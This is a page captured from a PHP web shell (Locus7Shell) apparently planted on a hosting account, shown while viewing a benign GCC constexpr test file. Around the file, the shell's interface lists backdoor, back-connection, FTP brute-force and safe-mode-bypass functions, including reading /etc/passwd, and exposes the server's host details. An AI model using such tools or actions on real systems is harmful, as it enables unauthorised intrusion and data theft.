Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/g++.dg/cpp0x/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     constexpr-ex1.C (2.7 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
// { dg-do compile { target c++11 } }

// From N2235

// 4.1 constant-expression functions
// 1 examples





// 2 defined before first use
// NOTE: this is only needed in contexts that require a constant-expression
struct S {
    constexpr int twice() const;
    constexpr int t() const;    // { dg-message "used but never defined" }
private:
    static constexpr int val = 7;  // constexpr variable
};

constexpr int S::twice() const { return val + val; }
constexpr S s = { };
int x1 = s.twice();     // ok
int x2 = s.t();         // error: S::t() not defined
constexpr int x2a = s.t();     // { dg-error "S::t" } error: S::t() not defined
constexpr int ff();     // ok
constexpr int gg();     // ok
int x3 = ff();          // error: ff() not defined
constexpr int x3a = ff();      // { dg-error "ff" } error: ff() not defined
constexpr int ff() { return 1; }        // too late
constexpr int gg() { return 2; }
int x4 = gg();  // ok


// 4.2 const-expression data

// 2
// storage  not allocated untill address taken
constexpr double x = 9484.748;
const double* p = &x;          // the &x forces x into memory

// 4.3 constant-expression constructors

// 1
struct complex {
   constexpr complex(double r, double i) : re(r), im(i) { }
   constexpr double real() const { return re; }
   constexpr double imag() const { return im; }
private:
   double re;
   double im;
};
constexpr complex I(0, 1);  // OK -- literal complex


// 2 invoked with non-const args
double x5 = 1.0;           // { dg-message "not declared .constexpr." }
constexpr complex unit(x5, 0);    // { dg-error "x5|argument" } error: x5 non-constant
const complex one(x5, 0);   // OK, ‘‘ordinary const’’ -- dynamic
                           //   initialization
constexpr double xx = I.real(); // OK
complex z(2, 4);           // OK -- ordinary variable

// 3
constexpr complex v[] = {
     complex(0, 0), complex(1, 1), complex(2, 2)
};
constexpr double x6 = v[2].real(); // OK

// 4 
  constexpr int i = 98;
  typedef __INTPTR_TYPE__ intptr_t;
  constexpr intptr_t ip = (intptr_t) &i;    // { dg-error "constant" }

// 4.3.2 copy-constructor
constexpr complex operator+(complex z, complex w)
{
  return complex(z.real() + w.real(), z.imag() + w.imag()); // fine
}
constexpr complex I2 = I + I;                 // OK
struct resource {
  int id;
  constexpr resource(int i) : id(i) { }       // fine
  resource(const resource& r) : id(r.id)      // oops, not constexpr
  {
    //cout << id << " copied" << endl;
  }
};
constexpr resource f(resource d)
{ return d; }                  // { dg-error "non-.constexpr." "" { target { ! implicit_constexpr } } }
constexpr resource d = f(9);   // { dg-message ".constexpr." "" { target { ! implicit_constexpr } } }

// 4.4 floating-point constant expressions

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0055 ]--